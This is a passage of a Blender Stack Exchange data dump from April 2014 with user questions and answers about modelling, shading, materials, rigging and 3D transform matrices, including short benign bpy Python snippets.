  <row Id="8299" PostTypeId="2" ParentId="8293" CreationDate="2014-04-03T15:27:54.273" Score="3" Body="&lt;p&gt;I don't think you can uninstall it as you didn't technically install it if you said you 'ran the script'. Best you can do is close and re-open file I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that the script had also been added to my startup file without me having saved it. On windows I navigated to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\USERNAME\AppData\Roaming\Blender Foundation\Blender\2.70\scripts\addons\__pycache__\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I deleted a file with &lt;code&gt;object_creaprim&lt;/code&gt; in the file name and reloaded blender and it disappeared.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="1363" LastEditDate="2014-04-06T12:32:27.017" LastActivityDate="2014-04-06T12:32:27.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8300" PostTypeId="1" AcceptedAnswerId="8301" CreationDate="2014-04-03T15:55:52.450" Score="32" ViewCount="41191" Body="&lt;p&gt;I have a complex mesh with only vertices and edges that I want to solidify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I just want to solidify edges (not any faces) to have some kind of fat wireframe model (i.e. just every edges being cylinders). Not a classic solidify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my mesh:&#xA;&lt;img src=&quot;https://i.imgur.com/UFEBBfl.png&quot; alt=&quot;Solidify Edges&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3013" LastActivityDate="2021-04-02T11:48:20.803" Title="How to solidify edges" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;edges&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8301" PostTypeId="2" ParentId="8300" CreationDate="2014-04-03T16:00:39.353" Score="29" Body="&lt;p&gt;You could use the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/skin.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Skin Modifier&lt;/em&gt;&lt;/a&gt;. After adding it to the object, it might appear fat and blobby, so to adjust the thickness you can &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit&lt;/em&gt; mode and use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to affect the thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fc2sB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to just fill in the faces of your model and make use of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Wireframe&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Wireframe modifier&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2020-01-12T23:28:11.043" LastActivityDate="2020-01-12T23:28:11.043" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="8302" PostTypeId="1" CreationDate="2014-04-03T16:14:14.207" Score="3" ViewCount="1382" Body="&lt;p&gt;how to contact developers?&#xA;Anyway, i found a simple solution e.g. for selecting vertices that belongs to a vertexgroup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def selgv (groupname):&#xA;&quot;&quot;&quot;selgv(groupname) -&amp;gt; Select vertices of active object by groupname given&quot;&quot;&quot;&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;obj = bpy.context.active_object&#xA;for group in obj.vertex_groups:&#xA;    if group.name == groupname:&#xA;        for vertex in bpy.data.meshes[obj.name].vertices:&#xA;            for g in vertex.groups:&#xA;                if g.group == group.index:&#xA;                    vertex.select=True&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3015" LastEditorUserId="2217" LastEditDate="2014-08-24T00:28:49.550" LastActivityDate="2014-08-24T00:28:49.550" Title="Why in Blender 2.7 many vertex group functions are &quot;not yet implemented&quot;?" Tags="&lt;python&gt;&lt;vertex-groups&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-04-03T16:57:04.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="8303" PostTypeId="1" AcceptedAnswerId="8304" CreationDate="2014-04-03T16:26:00.397" Score="7" ViewCount="14762" Body="&lt;p&gt;What did I do? I somehow changed my view setting and I can no longer select anything with RMB. Please see screenshot: &lt;img src=&quot;https://i.stack.imgur.com/Uj5Dh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3017" LastEditorUserId="12" LastEditDate="2014-04-03T16:37:12.257" LastActivityDate="2020-12-14T15:44:10.040" Title="Grid floor disappears and cannot see outline of selected objects" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;selection-tools&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8304" PostTypeId="2" ParentId="8303" CreationDate="2014-04-03T16:28:56.857" Score="6" Body="&lt;p&gt;You have ticked an option that displays only objects that will be rendered. Open the &lt;em&gt;Properties&lt;/em&gt; panel with &lt;kbd&gt;N&lt;/kbd&gt; and untick &lt;em&gt;Only Render&lt;/em&gt; under &lt;em&gt;Display&lt;/em&gt;. You &lt;em&gt;can&lt;/em&gt; actually select objects (the 3d manipulator widget is still being shown) and move them as normal, you just cannot see the visible outline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BfejU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-04-03T16:28:56.857" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8305" PostTypeId="2" ParentId="8300" CreationDate="2014-04-03T16:43:56.860" Score="23" Body="&lt;h2&gt;&lt;strong&gt;Beveling a Curve&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Another way you can achieve your goal is to convert your Mesh composed of edges and vetices into a Curve. Then you could add a Bevel to the Curve and have your result. Here are the steps:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select your wireframe mesh&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert the mesh to a curve by either of these methods:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; -&gt; Curve from Mesh/Text&lt;/li&gt;&#xA;&lt;li&gt;3D Viewport Header -&gt; Object -&gt; Convert To -&gt; Curve from Mesh/Text &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/umkLb.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, since you said you want to have every edge be a cylinder, you should Add a circle curve:  &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Circle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gLts8.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select your wireframe and in the Object Properties window, click on the Curve tab, scroll down to the Geometry section and set Bevel Object to the circle you added in step 3 -- this circle will then define the shape of the edges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jAxLI.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now adjust the size of the circle curve so your mesh looks the way you want it to:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vKLv0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-03T16:43:56.860" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8308" PostTypeId="1" CreationDate="2014-04-03T19:20:36.587" Score="2" ViewCount="3906" Body="&lt;p&gt;I have been working on a project where I need to add some transparent water droplets on a bottle but they render completely white. I have tried using many different shaders to achieve this effect but nothing has worked so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding a glass shader, I have tried using a transparent shader, I have tried using a refraction shader, and I have tried using a combination of these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am starting to wonder if it has to do with my lighting, I am just using a basic 3-point lighting system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate any help that is given.&lt;/p&gt;&#xA;" OwnerUserId="3021" LastActivityDate="2014-04-04T04:16:04.780" Title="Creating Transparent Water Droplets in Cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8309" PostTypeId="2" ParentId="8308" CreationDate="2014-04-03T20:12:34.227" Score="2" Body="&lt;h2&gt;&lt;strong&gt;Glass Shader&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Glass Shader (Glass BSDF) with it's default settings is a very good shader for water droplets in Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiqMy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to upload your blend file in order for me to determine exactly what is causing yours to be white. Uploading to &lt;a href=&quot;http://www.pasteall.org/blend/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PasteAll&lt;/a&gt; is very convenient and easy: &lt;a href=&quot;http://www.pasteall.org/blend/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-04T04:16:04.780" LastActivityDate="2014-04-04T04:16:04.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8310" PostTypeId="1" AcceptedAnswerId="8311" CreationDate="2014-04-04T00:56:05.400" Score="3" ViewCount="1713" Body="&lt;p&gt;The smooth shading mode is nice, but often times it seems to leave ugly marks where edges are. it doesn't do that between every face, but it does for some faces.&#xA;I tried flipping normals but all that does is make it lighter or darker, but doesn't actually smooth it out. I tried making all the faces merged, but that didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iQZSx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1911" LastEditorUserId="12" LastEditDate="2014-04-04T02:47:03.003" LastActivityDate="2014-04-04T02:47:03.003" Title="how to keep Smooth mode from making ripples?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="7" ClosedDate="2014-04-04T02:46:50.920" ContentLicense="CC BY-SA 3.0" />
  <row Id="8311" PostTypeId="2" ParentId="8310" CreationDate="2014-04-04T01:21:57.967" Score="2" Body="&lt;p&gt;You need to add an edge split modifier to make the mesh look right.&lt;/p&gt;&#xA;&lt;h1&gt;Method 1 - modifier&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select Mesh&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add &lt;em&gt;Edge Split&lt;/em&gt; modifier&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Method 2 - specify shading&lt;/h1&gt;&#xA;&lt;p&gt;Another method you can use it a bit more manual and not a one click solution but it will work just as well in this case.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the mesh and go into edit mode.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the top polygons that make up the flat surface&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set their shading to flat in the tool panel on the left (t)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K3ev9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-04T01:21:57.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8312" PostTypeId="2" ParentId="8293" CreationDate="2014-04-04T01:31:40.410" Score="1" Body="&lt;p&gt;It turns out that all I needed to do was to quit Blender and the scripts I'd run that made all 3 of those Create Primitive sections went away. I had been reloading my startup file, but that didn't get rid of them. Anyway, good to know.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-04T01:31:40.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8313" PostTypeId="2" ParentId="8310" CreationDate="2014-04-04T01:44:19.617" Score="2" Body="&lt;p&gt;The reason this is shaded oddly is because  you have connected faces with very different normals. The reason it looks &quot;wavy&quot; is because (I suspect) you have a subserf modifier on the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two options to fix this while keeping smooth shading on all faces:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Disconnect the faces (edge split).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add more faces in between to make the normals more consistent (supporting geometry).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From left to right: Normal cylinder, subsurfed cylinder, subserfed cylinder with supporting geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ralX6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-04T01:44:19.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8314" PostTypeId="1" AcceptedAnswerId="8315" CreationDate="2014-04-04T03:23:28.193" Score="3" ViewCount="2140" Body="&lt;p&gt;I just started blender a few days ago and I noticed that when making faces, they sometimes have this dotted texture compared to the generic smooth texture. I have been having difficulties with this and was wondering why these dotted faces are different from the regular faces, how do I get rid of them and what are the advantages of using them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PcFto.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3024" LastEditorUserId="55" LastEditDate="2014-04-04T04:33:58.353" LastActivityDate="2014-04-04T04:35:21.407" Title="Why does one of the faces show dotted in editmode?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8315" PostTypeId="2" ParentId="8314" CreationDate="2014-04-04T04:35:21.407" Score="5" Body="&lt;p&gt;The last selected faces is known as the &lt;strong&gt;Active Face&lt;/strong&gt; and draws with a &lt;strong&gt;Stipple&lt;/strong&gt; overlay (dots),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is used to determine which texture to show in the image window, since its possible to UV map multiple images from a single mesh.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-04T04:35:21.407" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8316" PostTypeId="1" CreationDate="2014-04-04T04:38:43.120" Score="3" ViewCount="184" Body="&lt;p&gt;My rendered 3D model is correct, light and camera are on and it displays nicely in the rendering mode in 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I hit the render button the rendered image is black. Here is a screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bT0M8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea about what could cause this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway thanks a lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="3025" LastActivityDate="2014-04-04T04:38:43.120" Title="Black Images when rendering: image editor does not work" Tags="&lt;rendering&gt;&lt;image&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-04-06T10:15:22.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="8317" PostTypeId="1" CreationDate="2014-04-04T07:51:23.380" Score="3" ViewCount="1309" Body="&lt;p&gt;hypothetical question here. I've been playing a lot with various animation methods over the past few days here, and have had a lot of successful results with clean full body motion capture (&lt;a href=&quot;http://youtu.be/Ra8XIBlsWrI&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So I have four playstation eyes and 2 kinects at my disposal. Is there a way to do a multi camera, depth based facial track, a multi video track, or just depth inside of blender's existing tools, or is there a scriptable workaround?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize there are some problems inherent in a multi camera setup, such as: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: assuring the cameras are properly aligned within the software to the real world setup, and I'm aware Blender probably doesn't solve that for you. I'm okay with creating a precise measured setup though and replicating the camera orientations in blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2:  removal of head movement within the frame of video, but retaining gimbal. I feel like this is something that should be able to be tracked out though, if you define a root somewhere on the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 standard distortion/fov inconsitencies between cameras. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4: controller input? I know with Ipisoft it can only do 2 kinects or 8 pseyes (on a standard motherboard without external controllers, which can only bring your number to 3 without custom hardware. I'm unsure about the compatibility of running both kinects and cameras/pseyes simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a few methods for deriving facial based capture in Blender, both through faceshift export, or Blazraidrs method here: (&lt;a href=&quot;https://www.youtube.com/watch?v=a_AwDv9Al28&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) These are both interesting methods. I prefer Blazraidr's, but I see problems with both. First off, I'm not adverse to using marker based tracking, and I feel like faceshift loses out on some qualities because it doesn't take advantage of that on top of the depth sensor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway, I suppose it's an open ended discussion. Curious to see what people have to say, if you read all of this thanks. &lt;strong&gt;TL;DR: how does multi camera facial capture in teh open source softwures&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3026" LastActivityDate="2016-06-24T22:48:57.360" Title="Facial Motion Capture in Blender with Depth Sensors and/or Multiple Camera setups" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8318" PostTypeId="1" CreationDate="2014-04-04T08:06:27.457" Score="1" ViewCount="594" Body="&lt;p&gt;I am running Blender 2.49 with Python27 (for testing) and am trying to import webbrowser and os. When I try webbrowser the console returns &quot;no module named webbrowser&quot; when I try os it returns &quot;no module named genericpath&quot;. This is extremely annoying as I've looked at various forums on how to do things such as adding the module to Blenders script path and what not, but nothing has worked. I would greatly appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Alex&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-04-04T08:06:27.457" Title="Import python modules" Tags="&lt;import&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-05-13T23:20:02.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="8319" PostTypeId="1" AcceptedAnswerId="8329" CreationDate="2014-04-04T08:34:11.397" Score="5" ViewCount="1083" Body="&lt;p&gt;I have very large number of planes in my scene and each needs to be assigned a color, and to do that, I am assigning a material to each plane. Blender is allowing 2^15, i.e. 32768 materials.  But the number of planes in the scene are on the order of millions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make blender handle more materials so that I can color all the planes?&lt;/p&gt;&#xA;" OwnerUserId="2713" LastEditorUserId="1112" LastEditDate="2014-04-04T10:34:45.483" LastActivityDate="2014-04-05T19:47:03.090" Title="Maximum number of materials that can be added in a scene?" Tags="&lt;materials&gt;&lt;performance&gt;&lt;memory-management&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8320" PostTypeId="2" ParentId="8319" CreationDate="2014-04-04T09:00:17.117" Score="5" Body="&lt;p&gt;Use the same material for every object but have different colors for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you will generate this dynamically. Some methods I can think of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generate a 4096x4096 texture and assign that. Use nearest interpolation (like in minecraft). Have each planes UV-coordinates point out what pixel to use.&lt;/li&gt;&#xA;&lt;li&gt;Use vertex colors for each plane. Have the material use the the vertex colors. Use the attribute node: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Attribute&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Attribute&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you don't need exact colors, if you are content with a random color, use the object info node to get a random value for each node, insert it into a color ramp node.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2014-04-04T10:22:36.207" LastActivityDate="2014-04-04T10:22:36.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8321" PostTypeId="1" CreationDate="2014-04-04T12:44:15.843" Score="2" ViewCount="376" Body="&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28159&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is a .blend file&lt;/a&gt; I've created to illustrate a strangeness I have observed with blender's Inverse Kinematics solver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 1 has an IK and the pre-yaw bone has no IK rotation restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CE3yS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CE3yS.png&quot; alt=&quot;no locks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 2 has an IK, and the pre-yaw bone has locked X and Z rotations.  Unfortunately, it locks the rotation to pre-yaw's parent bone, even though &lt;em&gt;Inherit Rotation&lt;/em&gt; is not checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a0viB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a0viB.png&quot; alt=&quot;IK locks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example 3 is posed without IK at all and illustrates the effect I am trying to accomplish.  The pre-yaw bone is correctly vertical, modeling the mechanics of the monitor arm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vhi7J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vhi7J.png&quot; alt=&quot;no IK&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the IK solver could be enhanced to obey the &lt;em&gt;Inherit Rotation&lt;/em&gt; checkbox.  It could also be enhanced to obey the Copy Rotation constraint (which exists but is muted since it shouldn't be necessary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I discovered a shortcoming in blender's IK?  Is it worthy of a bug report?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I work around this weirdness?&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="599" LastEditDate="2014-04-05T06:07:52.580" LastActivityDate="2015-02-15T10:10:09.027" Title="Blender's IK seems to ignore the Inherit Rotation checkbox, how do I work around it?" Tags="&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8322" PostTypeId="1" CreationDate="2014-04-04T13:00:24.273" Score="7" ViewCount="5761" Body="&lt;p&gt;I am aware that a 3-D linear transform (combination of: stretch, shear, rotation) takes the form of a 3x3 matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also that if the transform is required to also handle translations, then one can either use 3x3 matrix + translation vector, or 4x4 matrix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm also aware that there is a different technique for handling rotations: to use quaternions, which looks like a 4x4 matrix (but does it behave in the same way?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: how do these objects play with one another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I start up my default Blender scene with a cube and a camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wyv95.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that transform panel is confusing to me. As it stands in that picture, I can imagine blender is using either 3x3 matrix + translation vector, or 4x4 matrix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then there is a 'Rotation Order' pulldown which allows quaternions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain what blender does behind the scenes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for my asking is that I'm attempting a script that transforms an object into camera space (i.e. If you were to transform the scene so that the camera is at the origin pointing downwards, wherever the object ends up, this is the location I use)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main(context, num):&#xA;    bpy.ops.scene.new(type='FULL_COPY')&#xA;    cloneScene = bpy.context.scene&#xA;    cloneScene.name = 'clone'&#xA;&#xA;    camera = cloneScene.camera&#xA;&#xA;    for ob in cloneScene.objects:&#xA;        if ob.type == &quot;MESH&quot;:&#xA;            me = ob.data&#xA;&#xA;            # WorldToCam( ObToWorld( ObCoord ) )&#xA;            world2cam = camera.matrix_world.inverted()&#xA;            ob2world = ob.matrix_world&#xA;&#xA;            obj2cam = world2cam * ob2world&#xA;&#xA;            bm = bmesh.new()&#xA;            bm.from_mesh(me)&#xA;&#xA;            bm.transform(obj2cam)&#xA;&#xA;            for v in bm.verts:&#xA;                v.co = MyTransform(v.co)&#xA;&#xA;            cam2obj = obj2cam.inverted()&#xA;            bm.transform(cam2obj)&#xA;&#xA;            # save back into orig mesh&#xA;            bm.to_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so I would like to have a clear understanding of what is happening when I apply a transform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I've tested that this method works in simple cases, it looks like it might fall over when dealing with translations and quaternions (seeing as I'm inverting the matrix not the transform, I'm not sure if these are guaranteed to be the same. In a straight linear transformation they are...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &#xA;&lt;a href=&quot;http://www.essentialmath.com/GDC2013/GDC13_quaternions_final.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.essentialmath.com/GDC2013/GDC13_quaternions_final.pdf&lt;/a&gt; &amp;lt;-- amazing walkthrough!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;ftp://ftp.cs.indiana.edu/pub/hanson/Siggraph01QuatCourse/vqr.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ftp://ftp.cs.indiana.edu/pub/hanson/Siggraph01QuatCourse/vqr.pdf&lt;/a&gt; &amp;lt;-- starts good, lost me with the links&lt;/p&gt;&#xA;&#xA;&lt;p&gt;courses.cms.caltech.edu/cs171/quatut.pdf &amp;lt;-- Ken Shoemake Quaternions&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-04-06T00:20:25.893" LastActivityDate="2018-02-22T17:23:25.850" Title="Understanding 3D transforms and rotations" Tags="&lt;python&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8323" PostTypeId="2" ParentId="8322" CreationDate="2014-04-04T14:58:52.293" Score="6" Body="&lt;p&gt;The transformations are applied in this order: scale, rotation then translation. &#xA;Note that you would need to multiply the matrices in the reverse order to get a single transformation matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a rotation around one axis you would only need a $2\times 2$ matrix, e.g. a rotation around the z-axis wouldn't change the z-values of the vertices. For $(x,y,z)$ vertices a $3\times 3$ matrix is more convenient since it can hold all rotations. The conversion from $3\times 3$ (orange) to $4\times 4$ is done by adding (green) a $1$ to the bottom right cell and fill the remaining with $0$.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$&#xA;\begin{aligned}&#xA;&amp;amp;\begin{bmatrix}&#xA;\color{orange}1 &amp;amp; \color{orange}0 &amp;amp; \color{orange}0 &amp;amp; 